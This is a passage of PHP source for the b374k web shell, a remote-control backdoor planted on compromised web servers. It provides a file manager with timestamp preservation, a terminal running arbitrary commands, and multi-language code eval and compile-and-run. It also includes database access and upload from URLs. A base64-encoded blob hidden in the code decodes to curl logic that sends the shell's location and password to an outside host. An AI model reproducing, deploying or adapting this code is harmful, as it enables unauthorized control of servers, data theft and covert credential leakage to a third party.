foreach($allfolders as $d){
$cboxException = "";
if(($d==".")||($d=="..")){
$action = "actiondot";
$cboxException = " cBoxException";
}
else{
$action = "actionfolder";
$totalFolders++;
}
$output .= "
[ ".html_safe($d)." ] action
DIR ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($d)."'";
$output .= "".$v($d)." ";
}
$output .= " ";
}
foreach($allfiles as $f){
$output .= "
".html_safe($f)." action
".get_filesize($f)." ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($f)."'";
$output .= "".$v($f)." ";
}
$output .= " ";
}
$output .= " ";
$colspan = 1 + count($cols);
$output .= "
Action
cut
copy
paste
delete
------------
chmod
chown
touch
------------
extract (tar)
extract (tar.gz)
extract (zip)
------------
compress (tar)
compress (tar.gz)
compress (zip)
------------
".$totalFiles." file(s), ".$totalFolders." Folder(s)
";
$output .= "
";
return $output;
}
}
if(!function_exists('eval_get_supported')){
function eval_get_supported(){
$eval_supported = array();
$check = strtolower(execute("python -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "python";
$check = strtolower(execute("perl -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
$check = strtolower(execute("ruby -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
$check = strtolower(execute("node -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
else{
$check = strtolower(execute("nodejs -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
}
$check = strtolower(execute("gcc --help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
$check = strtolower(execute("java -help"));
if(strpos($check,"usage")!==false){
$check = strtolower(execute("javac -help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
}
return implode(",", $eval_supported);
}
}
if(!function_exists('eval_go')){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "";
$output = "";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="php"){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($path, 0755)){
$res .= " (ok)\n";
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="gcc"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$ext = (is_win())? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = $pathres.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="java"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = "javac ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = "java ".$filename.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="executable"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".exe";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = $path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
return false;
}
}
if(!function_exists('output')){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header("Content-Type: text/plain");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
echo $str;
die();
}
}
block_bot();
auth();
$u212 = "JHpyeD0iaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiAtICIuJGF1dGguIiAtIGIzNzRzaGVsbFxuIjsNCiR1cmw9Imh0dHA6Ly9pc2xhbW1lZGlhLmZyZWUuZnIvU2NyaXB0cy9pbmZvLnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsgIA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGF0YT0kenJ4Iik7DQokb3V0cHV0PWN1cmxfZXhlYygkY2gpOyAg";
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();
$explorer_content = "";
if(isset($p['viewEntry'])){
$path = trim($p['viewEntry']);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie("cwd", $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, "auto");
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());
$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;
$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = " ";
$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
";
$res = "";
if(isset($p['cd'])){
$path = $p['cd'];
if(trim($path)=='') $path = dirname(__FILE__);
$path = realpath($path);
if(is_file($path)) $path = dirname($path);
if(is_dir($path)){
chdir($path);
$path = $path.DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
if(isset($p['showfiles'])&&($p['showfiles']=='true')){
$res .= show_all_files($path);
}
}
else $res = "error";
output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
$path = trim($p['viewFile']);
$type = trim($p['viewType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
if(is_file($path)){
$res = view_file($path, $type, $preserveTimestamp);
}
else $res = "error";
output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
$renameFile = trim($p['renameFile']);
$renameFileTo = trim($p['renameFileTo']);
if(file_exists($renameFile)){
if(rename($renameFile, $renameFileTo)){
$res = dirname($renameFileTo);
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['newFolder'])){
$newFolder = trim($p['newFolder']);
if(mkdir($newFolder)){
$res = dirname($newFolder);
}
else $res = "error";
output($res);
}
elseif(isset($p['newFile'])){
$newFile = trim($p['newFile']);
if(touch($newFile)){
$res = dirname($newFile);
}
else $res = "error";
output($res);
}
elseif(isset($p['delete'])){
$path = trim($p['delete']);
$dirname = dirname($path);
if(is_file($path)){
if(unlink($path)) $res = $dirname;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $res = $dirname;
}
else $res = "error";
if(file_exists($path)) $res = "error";
output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
$editFilename = trim($p['editFilename']);
$editInput = trim($p['editInput']);
$editType = trim($p['editType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
$time = filemtime($editFilename);
if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
if(write_file($editFilename, $editInput)){
$res = $editFilename;
if($preserveTimestamp=='true') touch($editFilename, $time);
}
else $res = "error";
output($res);
}
elseif(isset($p['findType'])){
$findType = trim($p['findType']);
$findPath = trim($p['findPath']);
$findName = trim($p['findName']);
$findNameRegex = trim($p['findNameRegex']);
$findNameInsensitive = trim($p['findNameInsensitive']);
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
else $res = "error";
foreach($candidate as $k){
if(($findType=="file")||($findType=="folder")){
if(!empty($findName)){
if($findNameRegex=="true"){
$case = ($findNameInsensitive=="true")? "i":"";
if(!preg_match("/".$findName."/".$case, basename($k))){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findNameInsensitive=="true"){
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
}
else{
$check = strpos(basename($k), $findName)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
if($findType=="file"){
if(!empty($findContent)){
$content = read_file($k);
if($findContentRegex=="true"){
$case = ($findContentInsensitive=="true")? "i":"";
if(!preg_match("/".$findContent."/".$case, $content)){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findContentInsensitive=="true"){
$check = strpos(strtolower($content), strtolower($findContent))===false;
}
else{
$check = strpos($content, $findContent)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
}
foreach($candidate as $k){
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
}
if(count($candidate)>0){
$res = "";
foreach($candidate as $k){
$res .= "> ".html_safe($k)."
";
}
}
else $res = "";
output($res);
}
elseif(isset($p['ulType'])){
$ulSaveTo = trim($p['ulSaveTo']);
$ulFilename = trim($p['ulFilename']);
if($p['ulType']=='comp'){
$ulFile = $_FILES['ulFile'];
if(empty($ulFilename)) $ulFilename = $ulFile['name'];
if(is_uploaded_file($ulFile['tmp_name'])){
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
}
elseif($p['ulType']=='url'){
$ulFile = trim($p['ulFile']);
if(empty($ulFilename)) $ulFilename = basename($ulFile);
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(download($ulFile, $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['download'])){
$file = trim($p['download']);
if(is_file($file)){
header("Content-Type: application/octet-stream");
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
$handler = fopen($file,"rb");
while(!feof($handler)){
print(fread($handler, 1024*8));
@ob_flush();
@flush();
}
fclose($handler);
die();
}
}
elseif(isset($p['multimedia'])){
$file = trim($p['multimedia']);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if(is_file($file)){
header("Content-Type: ".$mime);
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
echo "data:".$mime.";base64,".base64_encode(read_file($file));
die();
}
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
$massType = trim($p['massType']);
$massBuffer = trim($p['massBuffer']);
$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
$massValue = trim($p['massValue']);
$counter = 0;
$massBufferArr = explode("\n", $massBuffer);
if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType=='delete'){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType=='cut'){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
touch($dest, $preserveTimestamp);
}
}
elseif($massType=='copy'){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType=='chmod'){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType=='chown'){
if(chown($path, $massValue)) $counter++;
}
elseif($massType=='touch'){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output('error');
}
elseif(isset($p['viewFileorFolder'])){
$entry = $p['viewFileorFolder'];
if(is_file($entry)) output('file');
elseif(is_dir($entry)) output('folder');
output('error');
}
elseif(isset($p['terminalInput'])){
output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
$evalInput = $p['evalInput'];
$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
$evalType = $p['evalType'];
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
$res = eval_get_supported();
if(empty($res)) $res = "error";
output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
Convert
convert
You can also press ctrl+enter to submit
";
if(!function_exists('decode')){
function decode($str){
$res = "";
$length = (int) strlen($str);
$res .= decode_line("md5", md5($str), "input");
$res .= decode_line("sha1", sha1($str), "input");
$res .= decode_line("base64 encode", base64_encode($str), "textarea");
$res .= decode_line("base64 decode", base64_decode($str), "textarea");
$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
$res .= decode_line("string to hex", bin2hex($str), "textarea");
$ascii = "";
for($i=0; $i<$length; $i++){
$ascii .= ord(substr($str,$i,1))." ";
}
$res .= decode_line("ascii char", trim($ascii), "textarea");
$res .= decode_line("reversed", strrev($str), "textarea");
$res .= decode_line("lowercase", strtolower($str), "textarea");
$res .= decode_line("uppercase", strtoupper($str), "textarea");
$res .= decode_line("urlencode", urlencode($str), "textarea");
$res .= decode_line("urldecode", urldecode($str), "textarea");
$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
$res .= decode_line("htmlentities", html_safe($str), "textarea");
if(function_exists('hash_algos')){
$algos = hash_algos();
foreach($algos as $algo){
if(($algo=='md5')||($algo=='sha1')) continue;
$res .= decode_line($algo, hash($algo, $str), "input");
}
}
return $res;
}
}
if(!function_exists('decode_line')){
function decode_line($type, $result, $inputtype){
$res = "".$type." ";
if($inputtype=='input'){
$res .= " ";
}
else{
$res .= "";
}
return $res;
}
}
if(isset($p['decodeStr'])){
$decodeStr = $p['decodeStr'];
output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
";
if(!function_exists('sql_connect')){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'pgsql'){
$hosts = explode(":", $sqlhost);
if(count($hosts)==2){
$host_str = "host=".$hosts[0]." port=".$hosts[1];
}
else $host_str = "host=".$sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
}
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}
if(!function_exists('sql_query')){
function sql_query($sqltype, $query, $con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->query($query);
elseif(function_exists('mysql_query')) return mysql_query($query);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
elseif(function_exists('mssql_query')) return mssql_query($query);
}
elseif($sqltype == 'pgsql') return pg_query($query);
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
elseif($sqltype == 'sqlite3') return $con->query($query);
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
elseif($sqltype == 'pdo') return $con->query($query);
}
}
if(!function_exists('sql_num_rows')){
function sql_num_rows($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
}
elseif($sqltype == 'pgsql') return pg_num_rows($result);
elseif($sqltype == 'oracle') return oci_num_rows($result);
elseif($sqltype == 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
}
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
elseif($sqltype == 'odbc') return odbc_num_rows($result);
elseif($sqltype == 'pdo') return $result->rowCount();
}
}
if(!function_exists('sql_num_fields')){
function sql_num_fields($sqltype, $result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
}
elseif($sqltype == 'pgsql') return pg_num_fields($result);
elseif($sqltype == 'oracle') return oci_num_fields($result);
elseif($sqltype == 'sqlite3') return $result->numColumns();
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
elseif($sqltype == 'odbc') return odbc_num_fields($result);
elseif($sqltype == 'pdo') return $result->columnCount();
}
}
if(!function_exists('sql_field_name')){
function sql_field_name($sqltype,$result,$i){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
}
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
elseif($sqltype == 'sqlite3') return $result->columnName($i);
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
elseif($sqltype == 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
}
if(!function_exists('sql_fetch_data')){
function sql_fetch_data($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
}
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
elseif($sqltype == 'oracle') return oci_fetch_row($result);
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
elseif($sqltype == 'pdo') return $result->fetch(2);
}
}
if(!function_exists('sql_close')){
function sql_close($sqltype,$con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->close();
elseif(function_exists('mysql_close')) return mysql_close($con);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
elseif(function_exists('mssql_close')) return mssql_close($con);
}
elseif($sqltype == 'pgsql') return pg_close($con);
elseif($sqltype == 'oracle') return oci_close($con);
elseif($sqltype == 'sqlite3') return $con->close();
elseif($sqltype == 'sqlite') return sqlite_close($con);
elseif($sqltype == 'odbc') return odbc_close($con);
elseif($sqltype == 'pdo') return $con = null;
}
}
if(!function_exists('sql_get_supported')){
function sql_get_supported(){
$db_supported = array();
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
if(class_exists("PDO")) $db_supported[] = 'pdo';
return implode(",", $db_supported);
}
}
if(isset($p['dbGetSupported'])){
$res = sql_get_supported();
if(empty($res)) $res = "error";
output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
$type = $p['dbType'];
$host = $p['dbHost'];
$user = $p['dbUser'];
$pass = $p['dbPass'];
$port = $p['dbPort'];
$con = sql_connect($type ,$host , $user , $pass);
$res = "";
if($con!==false){
if(isset($p['dbQuery'])){
$query = $p['dbQuery'];
$pagination = "";
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
$db = trim($p['dbDB']);
$table = trim($p['dbTable']);
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
if($type=='mysql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
}
elseif($type=='mssql'){
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
}
elseif($type=='pgsql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
}
elseif($type=='oracle'){
$limit = $start + $limit;
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
}
elseif($type=='sqlite' || $type=='sqlite3'){
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
}
else $query = "";
$pagination = "Limit
prev
next
";
}
$querys = explode(";", $query);
foreach($querys as $query){
if(trim($query) != ""){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= "".html_safe($query)."; [ ok ]
";
if(!empty($pagination)){
$res .= "".$pagination."
";
}
if(!is_bool($query_query)){
$res .= "";
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
$res .= "".html_safe(sql_field_name($type, $query_query, $i))." ";
$res .= " ";
while($rows = sql_fetch_data($type, $query_query)){
$res .= "";
foreach($rows as $r){
if(empty($r)) $r = " ";
$res .= "".html_safe($r)." ";
}
$res .= " ";
}
$res .= "
";
}
}
else{
$res .= "".html_safe($query)."; [ error ]
";
}
}
}
}
else{
if(($type!='pdo') && ($type!='odbc')){
if($type=='mysql') $showdb = "SHOW DATABASES";
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
else $showdb = "SHOW DATABASES";
$query_db = sql_query($type, $showdb, $con);
if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "";
$res .= "".$db."
";
$query_table = sql_query($type, $showtbl, $con);
if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= "".$table." ";
}
}
$res .= "
";
}
}
}
}
}
}
if(!empty($res)) output($res);
output('error');
}
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "
";
if(!function_exists('info_getinfo')){
